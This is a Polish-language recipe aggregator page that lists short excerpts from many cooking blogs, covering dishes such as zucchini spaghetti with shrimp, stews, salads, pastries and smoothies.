garści jarmużu (4 duże gałązki) Ząbek czosnku 1 łyżka oregano 1 łyżeczka papryki w proszku Sól Pieprz Łyżeczka suszonego czosnku 1 łyżka oleju Zalewa: 2 pomarańcze 3 łyżki sosu sojowego lub 2 łyżeczki soli 1 łyżka miodu 3 łyżki soku z cytryny Surówka z czerwonej kapusty: 1/2 główki czerwonej kapusty 1 pomarańcza 1 jabłko, najlepiej słodkie, deserowe 1/2 cytryny

Niedzielny kucharz
Poniedziałek: Spaghetti z cukinii z krewetkami i pesto 173

Piękna dla oka kulinarna niespodzianka: niskokaloryczne spaghetti z cukinii z jędrną krewetką, w sosie z pesto i grillowanymi pomidorkami. Długo zachwycaliśmy się przepisami z ciętą jak spaghetti cukinią, doskonale imitującą makaron. W końcu zaczęliśmy szukać odpowiedniego sprzętu, który nadaje warzywom taki kształt. Nie mogliśmy jednak zdecydować co kupić – opinie o jakości tego typu sprzętu w internecie są skrajnie różne

Niedzielny kucharz
Przepisy na wigilię: Tarta z rybą po grecku 202

tropy prześledziła Agnieszka Kręglicka w jednym z felietonów dla „Wysokich Obcasów” (doszukując się podobieństwa ryby po grecku do psari speciota, ryby pieczonej pod lekkim warzywno-winnym, głównie pomidorowym sosem). Ryba a la ciasto Niezależnie od rodowodu, ryba po grecku stała się jednym z must have na polskiej wigilii. U nas w domu też tak jest, choć stoi raczej na skraju

Niedzielny kucharz
Resztki ze świąt – szarlotka z chleba 192

nasiąkać. Niech poleży tak z 5 minut. Krok 3 Nagrzewamy piekarnik do 180 stopni. Smarujemy formę do pieczenia masłem. Wykładamy do formy namoczony chleb i polewamy resztą mleczno-jajecznego sosu. Wstawiamy do pieca na 30-40 minut. Podajemy na ciepło. Deser dobrze smakuje po odgrzaniu. Smacznego! Zobacz jak zrobić grzeszne śniadanie, czyli przepis na dutch baby. Artykuł Resztki ze świąt

Niedzielny kucharz
Niedziela: Kurczak w cytrusach z ziemniakami Hasselback 213

minutach pieczenia z kurczaka zaczną wytapiać się soki: aromatyzowane cytrusami i ziołami masło oraz tłuszcz. Od tego momentu co kwadrans wyciągaj kurę z piekarnika i dokładnie polewaj pachnącym sosem. Krok 5 Po 30 minutach pieczenia kurczaka dołóż do pieca ziemniaki Hasselback. Na upieczenie będą potrzebowały około godziny (czas zależy od wielkości bulw). Po 20-30 minutach od rozpoczęcia pieczenia wyciągnij

Niedzielny kucharz
Poniedziałek: Pęczotto z grzybami, warzywami i szpinakiem 239

następną porcję i tak dalej aż do wyczerpania płynu. W tej wersji pęczaku dodaj na koniec do kaszy łyżkę zimnego masła i szybko rozprowadź, żeby pęczak pokrył się maślanym sosem i zyskał aksamitny wygląd. Krok 5 Na koniec dodaj do kaszy pokrojone pieczone warzywa, grzyby, koperek, garść szpinaku i zetrzyj na wierzch parmezan. Po prostu pycha! Zobacz też przepis

Niedzielny kucharz
Hulk – zielone aksamitne smoothie ze szpinaku 241

twardych owoców i warzyw nie nadaje się blender- łapka (immersyjny). Zastanawialiście się kiedyś czemu ma taki, a nie inny kształt? Został zaprojektowany z myślą o zupach kremach i emulsyfikacji sosów – miksery tylko mieszały, nie cięły, a wkładanie wąskiego i wysokiego narzędzia do garnka lub kubka ułatwiało manewrowanie, mieszanie, cięcie lub ubijanie zawartości.   Pamiętajcie, że witaminy rozpuszczają i wchłaniają się

Karo in the Kitchen
Łosoś z porami w cieście francuskim 314

roladki do piekarnika nagrzanego do 180 st. C na ok. 15 minut. Jeśli lubicie łososia z porami w cieście francuskim możecie podać z delikatnym i bardzo aromatycznym w smaku sosem chrzanowym .   Smacznego! Post Łosoś z porami w cieście francuskim pojawił się poraz pierwszy w Kulinarny Blog - wiesz jak gotować

Kulinarnyblog.pl - wiesz jak gotować!
Pulpeciki z indyka w sosie koperkowym 198

wywaru włóż podsmażone kulki. Zmniejsz ogień i gotuj przez ok. 20 minut pod lekko uchyloną pokrywą, w międzyczasie 2 – 3 razy delikatnie obróć pulpeciki. Pod koniec gotowania zagęść sos mąką pszenną i ziemniaczaną (po ok. 1 łyżeczce), którą przesiej przez sitko, bezpośrednio do wywaru. Całość pogotuj chwilę bez przykrycia aż nieco zgęstnieje. Pod koniec dodaj pozostałą łyżkę posiekanego koperku

Oka w rosole czyli KaFka gotuje
Jak zrobić żabie udka 303

jednym miejscu wszystkie moje najlepsze przepisy na kolację – przepis na ośmiornicę – małże w białym winie – spaghetti z krewetkami – kalmary ze szpinakiem – krewetki w sosie pomidorowym z wódką – zupa rybna z owocami morza – ZUPA BOUILLABAISSE – krewetki w białym winie – kalmary w czosnku Żabie udka Przygotowanie : ok 20 minut Składniki: – żabie udka

nietylkopasta.pl
Sałatka z tuńczykiem 219

gotujemy, w osolonej wodzie wg zaleceń producenta i dobrze schładzamy. Tuńczyka, fasolę, kukurydzę, groszek... odsączamy, ogórki kroimy w kostkę. Olej, ocet, sól i pieprz łączymy razem i będzie to sos do polania sałatki. -- Jak wszystkie produkty mamy przygotowane, to wykładamy warstwami lub nie do miski. Całość schładzamy w lodówce minimum przez jedną godzinę i potem serwujemy. -- Smacznego

chleba naszego
Kurczak Tikka Masala wersja z Goa 150

ciekawe - jest to danie brytyjskie a sam przepis powstał gdzieś między 1950 a 1970 najprawdopodobniej w Glasgow. Legenda głosi, że do zbyt suchego wg klienta kurczaka Tikka kucharz zaimprowizował sos z zupy pomidorowej i jogurtu. Danie to zostało nawet uznane z brytyjskie danie narodowe przez Robina Cooka. Niezależnie od swego pochodzenia chicken tikka masala jest podawany w restauracjach na całym

Milion Smaków
Chrupiące pieczarki z piekarnika. 186

mące, jajku a na końcu bułce tartej.  Układamy na blaszce i wkładamy do piekarnika. Pieczemy około 25- 30 min w temp. 210 C. Podajemy  z ulubionym sosem.  Kapelusze możemy także oprószyć solą i pieprzem.  Smacznego

Radość kipiąca uśmiechem.
Burgery z kaczki szarpanej 170

piekarnika. Włączyć grzanie na 120 stopni i piec około 5 godzin, aż mięso da się rozdzielać. Wyjąć kaczkę lekko przestudzić. Obrać z kości. Mięso, wymieszać z wytopionym podczas pieczenia sosem. Doprawić do smaku solą i pieprzem. Ja na jednego burgera biorę 100 g upieczonej kaczki. Na suchej patelni podsmażyć plasterki ananasa. Kaczkę podgrzać w piekarniku lub na patelni. Bułkę podgrzać

królestwo garów
PUSZYSTE PLACUSZKI NA SERKU HOMO Z JAGODOWYM SOSEM 215

zaserwować je na obiad np. jako II danie po niezbyt treściwej zupie, albo zwyczajnie jako deser. Są pyszne bez żadnych dodatków ale posypane odrobiną cukru pudru lub polane owocowym sosem to już całkowita eksplozja smaku!  Składniki: 500 g serka homogenizowanego waniliowego 4 jajka 1 czubata  łyżeczka proszku do pieczenia 1  szkl. mąki pszennej szczypta soli olej

Walijskie Pichcenie
Pieczona karkówka na ostro w coca-coli 180

lodówce. Wnaczyniu żaroodpornym lub innej formie do pieczenia ułożyć plastry karkówki. Piec około 40-50 minut do miękkości mięsa, od czasu do czasu polewając mięso marynatą z sosem. Podawać z ziemniakami lub frytkami i ulubioną surówką. Wartość energetyczna (1 porcja) Energia: 640,0 kcal Tłuszcz: 50,5g Białko: 34,8g Węglowodany: 11,5g Smacznego

Zielona Kuchnia
Gulasz doenjang jjigae z tofu i cukinią, czyli koreańska zupa miso 250

Doenjang jjigae to tradycyjny gulasz w Korei złożony z warzyw, tofu i mięsa na bazie sfermentowanej pasty sojowej doenjang. Doenjang, to obok sosu sojowego, gochugaru (ususzonych) i gochujang (sfermentowanych płatków koreańskich papryczek chilli), jeden z podstawowych produktów obecnych w każdej koreańskiej kuchni. Niektórzy nazywają gulasz doenjang jjigae mocno warzywną koreańską zupą miso Bardzo prosta a jednocześnie pełna bogatego i zachwycającego

Lamarida.pl
Przepis na Chili sin carne z cukinią i bakłażanem 223

własnego doświadczenia. Tymczasem proponuję przepis na chili sin carne z cukinią i bakłażanem niezawodna alternatywa to chili con carne . Podstawą tego dania jest oczywiście fasola w pysznym pomidorowym sosie, dużo warzyw i dlatego warto wybrać te ekologiczne.   Przepis na chili sin carne Składniki: na 4 porcje 200 g ugotowanej fasoli pimento 150 g ugotowanej fasoli mung, czerwonej 1 cebula

codojedzenia
Biała kiełbasa w sosie pomidorowo warzywnym 244

pory biała kiełbasa kojarzyła mi się z żurkiem i Wielkanocą. Od teraz mam jeszcze jedno skojarzenie a mianowicie pyszne danie jednogarnkowe z białą kiełbasą w sosie pomidorowo warzywnym. Jednak by danie smakowało należy zaopatrzyć się w dobrej jakości kiełbasę bo to podstawa tego dania. Minimum roboty maksimum smaku. Salaterka z kolekcji Paris Porcelana Bogucice. Składniki: 4 szt kiełbasa biała parzona

Ala piecze i gotuje
Ryba mielona w galarecie 186

koniec dodać żelatynę, ilość według instrukcji na opakowaniu, szybko i dokładnie wymieszać. Lekko ciepłym zalać rybę w półmisku. Wystudzić, wstawić do lodówki, aby galareta stężała. Wyśmienicie smakuje podana z sosem tatarskim . SMACZNEGO

kulinarnyswiatdomi
Polędwiczka z pieczarkami w sosie musztardowo-śmietanowym 219

Dzisiaj mamy dla Was pyszny obiadek a do tego szybki i łatwy w przygotowaniu – polędwiczkę z z pieczarkami w sosie musztardowo-śmietanowym :) Składniki na polędwiczkę z pieczarkami: – 350 g polędwiczki wieprzowej – 250 g brunatnych pieczarek – 3 cebulki szalotki – 3 ząbki czosnku – 1 łyżka masła – 150 g śmietanki

Kuchenne Wariacje
Kanapa – Polska-Ukraina - łączy nas kuchnia 165

masła czosnkowego, które spalając rozpuszcza się. Chleb zanurzany w spływającym maśle był po prostu doskonały. Forma zaskakująca, ciekawa i do tego pyszna. Potem na stole pojawiają się ostrygi z sosami: chrzanowym, agrestowym oraz z lodami szczawiowymi. Dobrym uzupełnieniem była wódka Staritsky&Levitsky. Kolejne mini przekąseczki to kawior szczupaka, raczki tatar oraz karasie w śmietanie. Do nich wino Chardonnay Kolonist

królestwo garów
NUGGETSY W KRAKERSACH 182

Układać na blasze wyłożonej papierem do pieczenia i piec w nagrzanym piekarniku w 180st.C ok 20-25 min. Moje nuggetsy podałam z domowym ketchupem, ale równie dobrze smakują z sosem czosnkowym

Niespełnione zdolności kulinarne
Imprezowe zawijasy z tortilli 235

żeby przegryzło się ze sobą. Po tym czasie wyciągamy z lodówki, zdejmujemy w folię. Kroimy na plastry o grubości 1,5 cm i układamy na talerzu. Podajemy z ulubionym sosem. Możecie do tego dodać również plastry sera na szynkę a na to ogórki. Wówczas taką tortillę polecam chwilę podgrzać w piekarniku by ser rozpuścił się i wtedy kroimy oczywiście

Gotuj z Mąką
Pasta z tuńczykiem 200

Wyśmienita pasta kanapkowa bez dodatku majonezu. Tak, jest to możliwe. Aromatyczna, niskokaloryczna pasta. Gorąco polecam. Składniki na pastę z tuńczykiem: tuńczyk w sosie własnym około 60 g 2 ogórki kiszone jajko 0,5 cebuli 0,5 szklanki jogurtu naturalnego (ja wolę jednak mniej, bo moja była ciut za rzadka) sól pieprz Ugotować jajko na twardo, obrać i rozgnieść widelcem. Dodać

Karola gotuje
Gulasz z indyka z porem i papryką 244

małym ogniu, pod przykryciem, aż do miękkości wszystkich składników (około 1 godziny). Na sam koniec dodać śmietanę (musi mieć temperaturę pokojową!) i całość posypać posiekaną natką pietruszki. Ewentualnie sos zagęścić (np. mąką ziemniaczaną rozpuszczoną w niewielkiej ilości zimnej wody). Gulasz podawać z kaszą lub ryżem

Ugotować
Obiad w 15 minut. Penne z dynią, mascarpone oraz orzechami pecan. 215

było. W szybkim gotowaniu najważniejsze jest planowanie. Zastanawiam się co zajmie najwięcej czasu i co mogę zrobić w międzyczasie. Dlatego pierwszy wstawiłam makaron. Za cel uznałam, że sos musi być gotowy zanim makaron się ugotuje. Czyli jakieś 15 minut. Udało się. A jak to zrobić znajdziesz poniżej w przepisie. Składniki (2 duże porcje, lub 2 średnie porcje + mały głodomorek) makaron

wysmienity
Śledzie z pomidorami, suszonymi śliwkami i nutką cynamonu 158

miód, koncentrat, ocet, pokrojone na plasterki śliwki i ½ szklanki ciepłej wody. Dusić jakieś 20 minut, co jakiś czas mieszając. Na koniec dodać cynamon oraz przyprawy. Wymieszać. Wystudzić.  Zimny sos dodać do śledzi, dokładnie wymieszać. Odstawić na 48 godzin do lodówki aby smaki się przegryzły. SMACZNEGO

kulinarnyswiatdomi
MAKARON Z KURCZAKIEM I SZPINAKIEM 112

Doprawić solą i pieprzem. Na koniec dodać dwa serki topione. Mieszać do uzyskania jednolitej konsystencji. Pierś z kurczaka pokroić w dużą kostkę. Posolić i usmażyć na patelni. Połączyć z sosem szpinakowym. Makaron ugotować według przepisu na opakowaniu. #Lubella #ŚwiatowyDzieńMakaronu #ŚwiatowyDzieńMakaronu2017 #świetujzlubellą #makaronlubella #lubellauwielbiam

Słodki Zakątek
SPAGHETTI BOLOGNESE 153

rozdrabniamy, dodajemy je do mięsa. Całość gotujemy jeszcze kilkanaście minut.  Pod koniec gotowania dodajemy koncentrat pomidorowy. Przyprawiamy do smaku. Makaron gotujemy według przepisu na opakowaniu. Podajemy go z sosem i dekorujemy bazylią. Jeżeli przygotowałaś/eś danie z tego przepisu, bardzo proszę o jego zdjęcie :). Wyślij je na adres slodki.zakatek123@gmail.com. Fotografię opublikuję w komentarzach oczywiście z podpisem osoby, która

Słodki Zakątek
SŁODKA PIZZA Z OWOCAMI 232

powiedział, że pizza nie może być słodka. Sosem jest niskosłodzony dżem truskawkowy udekorowany ulubionymi owocami. Pizzę tą robi się bardzo szybko. Uwielbiają ją zarówno dorośli jak i dzieci. Słodka, owocowa przekąska na każdą porę dnia! Składniki na ciasto do pizzy: 1 ½ szklanki mąki pszennej ½ szklanki ciepłej wody 25g drożdży ½ łyżeczki cukru 2 łyżki oleju ½ łyżeczki soli Dodatki do pizzy: Niskosłodzony

Słodki Zakątek
TORT SNICKERS 305

rozpuszczalnej 1 łyżeczka cukru 1 szklanka wrzątku Biszkopt : Wodę, cukry, masło i kakao umieścić w żaroodpornym naczyniu, doprowadzić do wrzenia. Wystudzić.  Białka ubić na sztywną pianę. Do kakaowego sosu dodajemy pojedynczo żółtka oraz przesianą mąkę z proszkiem do pieczenia. Na koniec dodajemy ubite białka, mieszamy delikatnie. Przelewamy do okrągłej formy (24cm) pieczemy 50 minut

Słodki Zakątek
KOPYTKA Z TWAROGIEM 167

mniejsze kawałki. Kopytka wrzucamy na wrzącą wodę i gotujemy ok 5 minut od momentu wypłynięcia. Odcedzamy.     Maliny rozgniatamy widelcem, dodajemy jogurt i mieszamy do uzyskania jednolitego sosu. Polewamy nim kopytka. Smacznego! Jeżeli przygotowałaś/eś danie z tego przepisu, bardzo proszę o jego zdjęcie :). Wyślij je na adres slodki.zakatek123@gmail.com. Fotografię opublikuję w komentarzach oczywiście z podpisem osoby, która

Słodki Zakątek
Roladki z hummusem 230

Nigdy wcześniej nie przygotowywałem w ten sposób tej przystawki. Roladki z hummusem to bardzo ciekawa propozycja na przystawkę na każde przyjęcie. Przy okazji jak będziecie ją

Kulinarnyblog.pl - wiesz jak gotować!
MOCNO ZIOŁOWY BOCZEK NA KANAPKI 187

GODZIN MARYNOWANIE) ORIENTACYJNA CENA POTRAWY: 25 ZŁ. ILOŚĆ PORCJI: 9-12 Składniki podstawowe: 1,5 kg surowego boczku. Składniki marynaty: 4 łyżki oleju z czosnkiem i bazylią, 2 łyżki sosu sojowego, 1/2 łyżeczki pieprzu, łyżeczka cząbru, łyżeczka bazylii, łyżeczka tymianku, 2 łyżeczki majeranku, 2 łyżeczki soli, łyżeczka czosnku granulowanego, 2 łyżeczki ostrej papryki. Przygotowanie: Mięso myję, osuszam ręcznikiem papierowym. Składniki

JejKuchnia
Prosta surówka z białej kapusty 125

Niestety już poza sezonem młodej kapusty, tak „ratować” trzeba się. I tak bardzo nam smakuje. Smacznie i na temat. Składniki 1/2 małej główki białej kapusty 1 duża marchew Sos: 3 łyżki oleju rzepakowego 2 łyżki dressingu ryżowego 1 łyżeczka cukru palmowego sól, pieprz Przygotowanie Kapustę szatkujemy, lekko sparzamy we wrzątku z dodatkiem cukru. Studzimy. Marchew obieramy, ścieramy na tarce

R'n'G Kitchen
Risotto z borowikami 180

Cześć! Naszło mnie dziś na borowiki. Wahałam się czy zrobić domowy makaron i sos śmietanowy czy może zrobić risotto. To drugie danie kocham miłością bezgraniczną więc w pojedynku ryż – makaron, padło właśnie na ryż. Kocham risotto za prostotę. Gdy namoczyłam borowiki – ich piękny zapach rozniósł się po całym mieszkaniu. Dla takich zapachów warto przetestować ten przepis! Pamiętaj: Ryż

Moja pasja smaku
Kruche pierożki z tuńczykiem i groszkiem 197

Składniki: Kruche ciasto: 250 g mąki (rodzaj dowolny) 150 g masła 1 jajko 3 łyżki mleka 1 łyżeczka soli (u mnie himalajska) Farsz: 1 puszka tuńczyka w sosie własnym 50 g mrożonego groszku 1 ugotowane jajko 1 cebula 1 ząbek czosnku 2 łyżki oleju kokosowego 2 łyżki natki pietruszki sól, pieprz (do smaku) Dodatkowo: 1 żółtko Przygotowanie

KuchniaWeDwoje.pl
Ziemniaki zapiekane w piekarniku 156

skropić odrobina oliwy. Zapiekać w piekarniku ok 20-30 minut w piekarniku nagrzanym do 200 stopni. Zapiekane ziemniaki z piekarnika podawać same lub z mięsem, nie nadaja się do sosów.   Artykuł Ziemniaki zapiekane w piekarniku pochodzi z serwisu Pomysłowa kuchnia

Pomysłowa kuchnia
Smoothie z burakiem – Love Pink! 260

twardych owoców i warzyw nie nadaje się blender- łapka (immersyjny). Zastanawialiście się kiedyś czemu ma taki, a nie inny kształt? Został zaprojektowany z myślą o zupach kremach i emulsyfikacji sosów – miksery tylko mieszały, nie cięły, a wkładanie wąskiego i wysokiego narzędzia do garnka lub kubka ułatwiało manewrowanie, mieszanie, cięcie lub ubijanie zawartości. Mój ulubiony sposób na buraka? Dodatek banana

Karo in the Kitchen
Naleśnik z pieca - dutch baby! 184

czasie spektakularnie urośnie, pieczemy na złoty kolor. Po otworzeniu drzwiczek, od razu opada i tak ma być!  Naleśnik podajemy najlepiej z owocami. Ja robię do niego zazwyczaj gorący sos malinowy. Mrożone maliny umieszczam w rondelku dodaje 1/3 szklanki wody i gotuje, aż nadmiar wody odparuje, dodaje 1 łyżeczkę miodu i gotowe! Gorący naleśnik posypujemy cukrem pudrem i dekorujemy owocami

SMYKWKUCHNI
Pierożki z ciasta francuskiego z serem 247

przez około 20min. Smacznego. pierożki z ciasta francuskiego z serem Zapraszam również do skorzystania z innych przepisów: Pizzerinki z ciasta francuskiego Śledzie z suszonymi śliwkami i cebulą Śledzie w sosie musztardowym Artykuł Pierożki z ciasta francuskiego z serem pochodzi z serwisu Księga Smaku

Księga-Smaku
Sałatka warstwowa z brokułem i selerem naciowym 227

jogurtem naturalnym, zmiażdżonym ząbkiem czosnku, odrobiną soli, cukru i pieprzu. 4. Słonecznik uprażyć na rumiano na suchej patelni. 5. Ułożyć sałatkę - od dołu: brokuł, ser, kukurydza, seler naciowy, sos, uprażony słonecznik. Smacznego

Kuchnia domowa Ani
Szybka zupa chili z pomidorem, trawą cytrynową i kokosem w 5 minut 154

pół czerwonej papryczki chili 1 łodyga trawy cytrynowej 800 g świeżych pomidorów śliwkowych , jeśli ich brak, dwie puszki pomidorów bez skóry 1 puszka mleka kokosowego 400 g 1 łyżka sosu sojowego tamari sok z 1 limonki 300-400 ml wody wg.uznania 1 doniczka kolendry (kilka gałązek użyj do dekoracji opcjonalnie) Wszystko oprócz kolendry miksuj do uzyskania gładkiej konsystencji , jeśli zupa

Z Kuchni Do Kuchni
Pieczeń z wolnowaru 277

rano mięsko już było gotowe..no tylko trza było je wystudzić , żeby pokroić na kanapki, ale w sumie można jeść i na ciepło jako danie obiadowe z dodatkiem jakiegoś sosu. około 1 kg mięsa wieprzowego mielonego 1 jajko 1-2 łyżki bułki tartej sól, pieprz majeranek przyprawa do mięsa wieprzowego Cykoria 1-2 łyżeczki płatków  papryki czerwonej słodkiej Cykoria

Moje domowe kucharzenie
Kaczka z jabłkami 269

minut. Kaczka przed pokrojeniem musi chwilę odpocząć, żeby soki się równo ułożyły i nie wyciekły przy szybkim krojeniu. Owoce podajemy prosto z brytfanki lub można je zblendować na gładki sos. Ja jednak optuje, za zostawieniem ich w kawałkach. Do takiej kaczki pasuje lekka sałata z oliwą i cytryną, surówka z czerwonej kapusty, kluski śląskie. Możliwości jest dużo i to pozostawiam

ladykitchen
Potrawka z kurczaka z marchewką i groszkiem 215

kubeczka ze śmietaną dodać mąkę i kilka łyżek gorącego wywaru z patelni, dokładnie wymieszać. Delikatnym strumieniem wlać śmietanę do mięsa, doprawić solą i pieprzem. Gotować kilka minut, aż sos zacznie gęstnieć. Na koniec dodać odsączony z zalewy groszek, wymieszać i podawać na ciepło

Simply Food
Naleśniki z brokułem, szynką i serem pleśniowym 162

układać szynkę, na niej kawałki brokuła i ser. W miarę ciasno zwijać. Można lekko obsmażyć lub podawać na zimno zamiast kanapek.  Jako dodatek można podać dowolną sałatkę i sosy jogurtowe lub z majonezem

Codzienna kuchnia niecodzienna
Schab pieczony w mleku 209

Pierwszy raz piekłam w mleku i bardzo polecam ten sposób. Mięsko jest bardzo delikatne i soczyste. Schab można doprawić dowolnymi przyprawami. Można też podać na ciepło jako danie obiadowe, sos można zrobić na mleku w którym był pieczony schab. składniki: 2 kg schabu, u mnie schab karkowy czubryca czerwona 2 cebule 2-3 listki laurowe mleko w temperaturze pokojowej odrobina

Monia miesza i gotuje
Szaszłyki z mięsnymi kulkami 204

Szaszłyki z mięsnymi kulkami. Idealne na przekąski, na imprezy. Smakują na zimno jak i na ciepło. Podałam z sosem czosnkowym i ketchupem. Po więcej przepisów na małe co nieco zapraszam na bloga do zakładki PRZEKĄSKI. Jeśli przygotowaliście danie z moich przepisów to podzielcie się proszę swoją opinią w komentarzach. Zdjęcia Waszych potraw mile widziane. Mięsne kulki 3 pojedyncze piersi

O kuchni z uczuciem
Roladki z tortilli z tuńczykiem 339

żółtym. Doskonała przekąska na imprezę, drugie śniadanie do pracy lub szybką kolację. Inne pomysły na zawijane roladki znajdziecie niżej: – roladki z kurczakiem i sosem szpinakowym – roladki z wędzonym łososiem i rukolą Roladki z tortilli z tuńczykiem Drukuj przepis Ilość porcji: 2 Składniki -2 placki tortilla * -1 puszka tuńczyka -garść kukurydzy -pęczek

Marta Gotuje
Sałatka z szynką i makaronem ryżowym 322

kostkę. Makaron ryżowy i szynkę umieszczamy w misce, dodajemy czerwoną fasolę, kukurydzę, pokrojoną w kostkę czerwoną i żółtą paprykę, pokrojone drobno konserwowe ogórki i pokrojone drobno suszone pomidory. Sos przygotowujemy z 3 łyżek majonezu i 1 łyżki ketchupu łagodnego. Dodajemy do sałatki, dodajemy sól i pieprz do smaku. Artykuł Sałatka z szynką i makaronem ryżowym pochodzi z serwisu Moja Qchnia

MojaQchnia.pl
Trotilla ze szpinakiem 148

serkiem śmietanowym i nakładam na niego szpinak z patelni (odsączam go z wody łyżką cedzakową). Zapiekam tortille w piekarniku nagrzanym do 180 stopni przez 10-15 minut. Podaję z sosem czosnkowym: 3 łyżki majonezu, 2 łyżki jogurtu naturalnego, 1 -2 ząbki czosnku, sól, pieprz. Pyszne     Artykuł Trotilla ze szpinakiem pochodzi z serwisu Moja Qchnia Pełna Smaku

MojaQchnia.pl
Kurczak w kurkumie z papryką i orzeszkami ziemnymi 227

sprawimy, że już po samym zobaczeniu będzie się go jadło oczami! Jeżeli lubicie przepisy na kurczaka z ryżem polecam Wam także kurczaka z papryką i ananasem lub kurczaka w sosie pomarańczowym z sezamem. Spróbujcie! Zobacz też: Kurczak w 3 pysznych odsłonach Pieczona pierś kurczaka w płatkach kukurydzianych Kurczak duszony z warzywami Przepis na kurczaka w kurkumie z papryką i orzeszkami

Kuchnia Bazylii
krążki cebulowe w panierce 234

cebuli macamy w ciecie a następnie oprószamy bułką tartą. Rozgrzewamy tłuszcz i partiami smażymy na rumiano krążki. Wyciągamy łyżką cedzakową, przekładamy na talerze wyłożone papierowymi ręcznikami. Podajemy z ulubionymi sosami

Domowy Smak Jedzenia
Placki z kurczakiem i brokułami 198

smażymy na tłuszczu. 3.Brokuł jeśli mrożony, gotujemy do miękkości. Jak świeży kroimy na różyczki, blanszujemy. Następnie wrzucamy do blendera, dodajemy jogurt, przyprawy i miksujemy do powstania gęstego sosu. Wartości odżywcze 2 porcji 1014 kcal

Zdrowie i pysznie na talerzu
Fasolowe burgery z kukurydzą i papryką 162

Burgery wstawić do piekarnika, piec 20 minut (termoobieg), następnie delikatnie łopatką odwrócić na drugą stronę i piec jeszcze 5-7 minut. Można podawać w bułce z ulubionymi dodatkami i sosem albo jako samodzielne danie z ulubioną surówką. Smacznego

Obiad gotowy
Pałki na groszku Nigelli 304

Składniki: 1 kg pałek z kurczaka 1 opakowanie mrożonego groszku 1/2 pora 2 łyżki miodu słodka papryka sól marynata: 4-5 łyżek sosu Worcester 3 łyżki miodu 1 łyżeczka ziaren jałowca 1 … Czytaj dalej Pałki na groszku Nigelli

czarrna od kuchni
Sałatka z paluszkami SURIMI i pomarańczami – przepis krok po kroku 307

Surimi nie rozpadły się. I to wszystko. Nasza sałatka jest już gotowa. Prawda, że ładnie się prezentuje? Smacznego! A jeśli szukacie oryginalnego przepisu na śledzika, polecam ten: Śledzie w sosie musztardowym z curry – przepis krok po kroku Artykuł Sałatka z paluszkami SURIMI i pomarańczami – przepis krok po kroku pochodzi z serwisu Okiem Blondynki by McBlondi

Okiem Blondynki by McBlondi
Sałatka z tuńczykiem i jajkiem 192

często. Ta jest jedną z klasycznych, do której co jakiś czas wracamy. Prosta i smaczna, świetnie nadaje się na kolację. Składniki (4 porcje) -5 jaj -2 puszki tuńczyka w sosie własnym -5 większych ogórków konserwowych -1 puszka kukurydzy -pół pęczka szczypioru -3 łyżki majonezu -sól, pieprz Przygotowanie Jajka ugotować na twardo. Ostudzić, obrać i pokroić w drobną kostkę. Przełożyć

Zielona Kuchnia
Spaghetti pomidorowe z rzeżuchą 166

kilku minutach dodaj pomidory z puszki razem z zalewą, przypraw do smaku, dodaj cukier, chwilę duś do połączenia składników. W osolonym wrzątku ugotuj makaron. Gdy będzie gotowy dodaj do sosu pomidorowego, połącz ze sobą, posyp serem i rzeżuchą i … smacznego

Zasmakuj Kuchni
GOŁĄBKOWA ZAPIEKANKA (keto, LCHF, paleo, optymalna, bez glutenu i laktozy) 269

solą i przyprawami. Naczynie żaroodporne lub blaszkę wysmarować tłuszczem. Mięso wyłożyć do naczynia lub formy i piec w temperaturze 180 ºC przez 45 minut. Zapiekanka znakomicie smakuje także z sosem pomidorowym na bazie wywaru mięsnego i świeżych pomidorów lub przecieru. Smacznego! — BTW całości: 1170 g, 1928 kcal

Ola la LCHF
Pałki z kurczaka jak z KFC 749

już pomysłów na obiad z kurczaka, to będzie to idealny wybór.  Polecam również mój przepis na domowe nuggetsy z kurczaka . Do chrupiącego kurczaka zaś najlepszy będzie domowy sos czosnkowy

AniaGotuje.pl
Surówka z kapusty pekińskiej i jabłek 144

zetrzeć na tarce z większymi otworami. Wymieszać. Sok z cytryny wymieszać z miodem, ewentualnie dosłodzić do smaku cukrem. Dodać 4 – 5 łyżek oleju, wymieszać. Polać kapustę z jabłkami sosem i wymieszać. zastawa

królestwo garów
Surówka z czerwonej kapusty pekińskiej 211

pyszna, słodka, bez odrobiny goryczki, nie farbuje innych warzyw i nie traci na objętości. Z czerwonej kapusty pekińskiej przygotowałam bardzo smaczną surówkę. Jest lekka, winna i bardzo zdrowa, bo sos opiera się na klasycznym winegrecie. Świetny dodatek do prawie każdego dania obiadowego. Polecam! Koloru w kuchni i na talerzu nigdy za wiele! Składniki: 1/2 kapusty pekińskiej 1 marchew 1 jabłko

Gotuj zdrowo!Guten Appetit!
Pulpeciki z indyka w sosie koperkowym 273

bułka 1/2 cebuli 1 jajko 2 łyżki mąki pszennej 1/2 łyżki mąki ziemniaczanej 2-3 łyżki posiekanego koperku 2 szklaki bulionu 1 … Czytaj dalej Pulpeciki z indyka w sosie koperkowym

czarrna od kuchni
Zawijane tortille z serkiem i papryką 359

Nie wiem czy Wy macie tak samo… ale zawsze jak spotykamy się ze znajomymi spędzamy godziny w internecie szukając pomysłu na przystawkę, przekąskę. Jeśli o

Kulinarnyblog.pl - wiesz jak gotować!
Sałatka Mimoza 2319

Dzielę się z Wami przepisami, bo może i Wy przygotujecie sobie takie pyszności w najbliższym czasie. Składniki 4 średnie ziemniaki 3 średnie marchewki 4 jajka 1 puszka tuńczyka w sosie własnym 300 g pieczarek 1 długi ogórek 150 g sera żółtego 400 ml majonezu 2 łyżki oleju 1 mała cebula koperek sól pieprz Ziemniaki w mundurkach i marchewkę ugotować

O kuchni z uczuciem
Carpaccio z buraczka ćwikłowego i sera feta 182

danie obiadowe. Oczywiście porcja wtedy powinna być znacznie większa. Buraczek ćwikłowy fajnie sprawdza się w tym daniu. Jego lekko słodkawy smak komponuje się pysznie z sokiem z cytryny. Ja sos, którym polałam całość lekko dosłodziłam syropem z agawy. Jeśli zdecydujecie się na wypróbowanie tego przepisu, zachęcam Was do dzielenia się zdjęciami w zakładce Komentarz. Smacznego Carpaccio z buraczka ćwikłowego

mecooks
Curry z indykiem, brukselką i kalafiorem 203

Jeżeli zastanawiacie się jeszcze co zrobić dzisiaj na obiad to zapraszamy na pyszne i rozgrzewające curry z indykiem, brukselką i kalafiorem :) Składniki na curry z indykiem

Kuchenne Wariacje
Medaliony z indyka w sosie brokułowym 235

ząbki czosnku 1/2 cebuli 1/2 papryczki chili 1 łyżka mąki sól, pieprz, słodka papryka 3/4 szklanki ryżu Przygotowanie: Ryż ugotować w … Czytaj dalej Medaliony z indyka w sosie brokułowym

czarrna od kuchni
Stroganow – syty i rozgrzewający 262

